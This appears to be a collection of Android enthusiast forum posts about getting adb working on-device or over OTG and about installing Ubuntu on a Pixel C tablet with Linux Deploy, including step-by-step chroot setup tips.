Hi - Where can I get this more functional binary that's half the size of a standard linux binary? I've tried two, they are both around 330Kb, and they fail to run with error "non executable: magic 7F45" because they were not compiled for my ARMV71 processor. I ran chmod 755 on it and when I check the permissions it is executable (-rwxr-xr-x). Can you post a link to the one that's 156kb - I can't find it.
Click to expand...
Click to collapse
Bumb. Anyone home? Shoot me a link please.

Hey guys,
Now, I have a tablet (running android) and is rooted already (so, I'm ready to get any needed binary on my device). It supports OTG. When I plug in my phone (rooted) using OTG to my tablet, my phone says 'Android debugging enabled' in notifications, is also charging. When I go to TE (Terminal Emulator) of my tab and type: 'adb devices', it displays no device in the list of attached devices (obvious).
And yes, my tab has got OTG host modules in kernel because when I turn on USB mass storage on (in my phone), my tab detects it and I can use it.
Now, my question:
Can I actually do this? i.e., using adb in my tablet (for my phone) via OTG?

Can we run adb from the device to detect itself?
I'm sure you can see why this would be amazing and powerful.. possibly giving root to apps on non-rooted devices with adb's run-as com.package.apk and such?
Is this possible? To have adb run on the Android device and connect to itself? If it is, can you guide me to where to learn it?
Dave :cyclops:

Has anyone installed an ARM Linux distro like Arch Linux ARM...

...onto this device? It's the perfect size for an ARM laptop and Arch Linux is a great Linux distro too. I'm helping some devs port/get running natively Arch Linux ARM on the semi-ancient/underrated HP TouchPad from 2011. If it could run natively on this tablet, then I'd highly consider getting it to play with it on it.

I'm looking to do this also, I just rooted my pixel and tried "Linux Deploy" but it failed at "mounting /dev/loop0", looks like the stock kernel doesn't support mounting loop devices so this will be impossible until we get a new kernel.
edit: /dev/loop0 exists so I don't know why mounting fails...
Sent from my Pixel C using Tapatalk

So I've finally got it to install Ubuntu! Here's the steps I took to get it to install successfully:
First mount the system partition as read/write and generate /etc/mtab by accessing the shell and switching to the root account and typing mount -o remount,rw /system; cat /proc/mounts > /etc/mtab
Then install Meefik's (the guy that created LinuxDeploy) version of BusyBox (Stericon's version apparently doesn't have the ar command)
In LinuxDeploy's settings, change the BusyBox Directory to /data/data/ru.meefik.busybox/files/bin and hit Update Environment
After that, go into the preferences and select Ubuntu, then whatever version you want, and ARM64 instead of ARMHF and hit Install and let it finish. If it screws up and you need to re-attempt the installation process make sure to delete /etc/mtab and regenerate it, otherwise LinuxDeploy will think the /sdcard/linux.img file is already mounted, fail and won't tell you why. This kept screwing me up for a while also.

it's interesting that your ubuntu is arm64 and not armhf. i can't understand how that would work. i have a nvidia tx1 which runs armhf ubuntu 14.04 so i would have guessed that the pixel would be the same. i guess i need to read into linuxdeploy a bit and see what that is about.

It's ARM64 because the Tegra X1 is a 64 bit processor ARMHF will work too. All it does it create a chroot easily, a little difficult to look deep into it because a large amount of it is done using a binary he created.

brando56894 said:
So I've finally got it to install Ubuntu! Here's the steps I took to get it to install successfully:
First mount the system partition as read/write and generate /etc/mtab by accessing the shell and switching to the root account and typing mount -o remount,rw /system; cat /proc/mounts > /etc/mtab
Then install Meefik's (the guy that created LinuxDeploy) version of BusyBox (Stericon's version apparently doesn't have the ar command)
In LinuxDeploy's settings, change the BusyBox Directory to /data/data/ru.meefik.busybox/files/bin and hit Update Environment
After that, go into the preferences and select Ubuntu, then whatever version you want, and ARM64 instead of ARMHF and hit Install and let it finish. If it screws up and you need to re-attempt the installation process make sure to delete /etc/mtab and regenerate it, otherwise LinuxDeploy will think the /sdcard/linux.img file is already mounted, fail and won't tell you why. This kept screwing me up for a while also.
Click to expand...
Click to collapse
How is everything working out so far? I'm tempted to pop the screen off mine when it shows up to flip a switch for some chrome os fun (if I can figure out a way to do it gracefully) but might also just roll with ubuntu. Really interested in hearing how your experience has been... Thanks for sharing.

Youre welcome! I did it just for the hell of it, haven't really used it much since I got it working. A native install would be much better, I plan on seeing if I can get it to connect to a local X server, VNC works but Ive always found it to be odd when controlling the cursor. I always install Linux on my Android devices just because I can, once I have it working I'm like "now what can I use it for?" and I always come to the same conclusion, pretty much all the stuff I want to do in Linux I can do in Android lol Also since I've been at my parents all week since I've figured this out I don't have my Bluetooth keyboard which has a trackpad, which would make navigation far easier than controlling the cursor with the touchscreen. Since I have it working now with LXDE I may try to install KDE on it and then install virt-manager as an easy GUI way for me to control my KVMs since doing it via SSH is kind of a pain in the a$$ and the only Android app just allows you to start and stop your domains.
If you are actually ballsy enough to pop the screen off and flip the dev switch on yours you'd probably be praised far and wide since no one has done it yet hahaha
Sent from my Pixel C using Tapatalk

brando56894 said:
Youre welcome! I did it just for the hell of it, haven't really used it much since I got it working. A native install would be much better, I plan on seeing if I can get it to connect to a local X server, VNC works but Ive always found it to be odd when controlling the cursor. I always install Linux on my Android devices just because I can, once I have it working I'm like "now what can I use it for?" and I always come to the same conclusion, pretty much all the stuff I want to do in Linux I can do in Android lol Also since I've been at my parents all week since I've figured this out I don't have my Bluetooth keyboard which has a trackpad, which would make navigation far easier than controlling the cursor with the touchscreen. Since I have it working now with LXDE I may try to install KDE on it and then install virt-manager as an easy GUI way for me to control my KVMs since doing it via SSH is kind of a pain in the a$$ and the only Android app just allows you to start and stop your domains.
If you are actually ballsy enough to pop the screen off and flip the dev switch on yours you'd probably be praised far and wide since no one has done it yet hahaha
Sent from my Pixel C using Tapatalk
Click to expand...
Click to collapse
I've only seen one paywalled teardown so far in some brief searching to give any hints / clues. After seeing cheep5k8's posts my interest has peaked and I am digging your posts as well. I need to run through the chromium os git and doc stuffs first before I fire up my heat gun and spudgers though...

Hi !
Me too i'm interessed on a linux instalation for my "ryu"
...Pretty interessed on ubuntu touch : the Pixel C seems to be the perfect item for the distro to combine tablet and pc in one.
Sadly i'm not a developper, but i hope somebody will think like me ^^

will this work with ARM64 Fedora GNU/Linux? or are there special instructions for that?

I have been working on this, please see http://forum.xda-developers.com/pix...ux-pixel-c-running-ubuntu-xenial-lxc-t3410655 if you want to run ubuntu xenial on pixel C

kxra said:
will this work with ARM64 Fedora GNU/Linux? or are there special instructions for that?
Click to expand...
Click to collapse
I was just using whatever distros were provided by Linux Deploy, half of them don't work anyway, for example Arch. I was only successful with Ubuntu IIRC.
Sent from my Nexus 6 using Tapatalk

For those who are interested :
https://www.youtube.com/watch?v=4B8unHrbZK4
Weston and XWayland are running quite well on Pixel C (without acceleration until now)
I will try to publish something quite soon (there are still stabilities issues)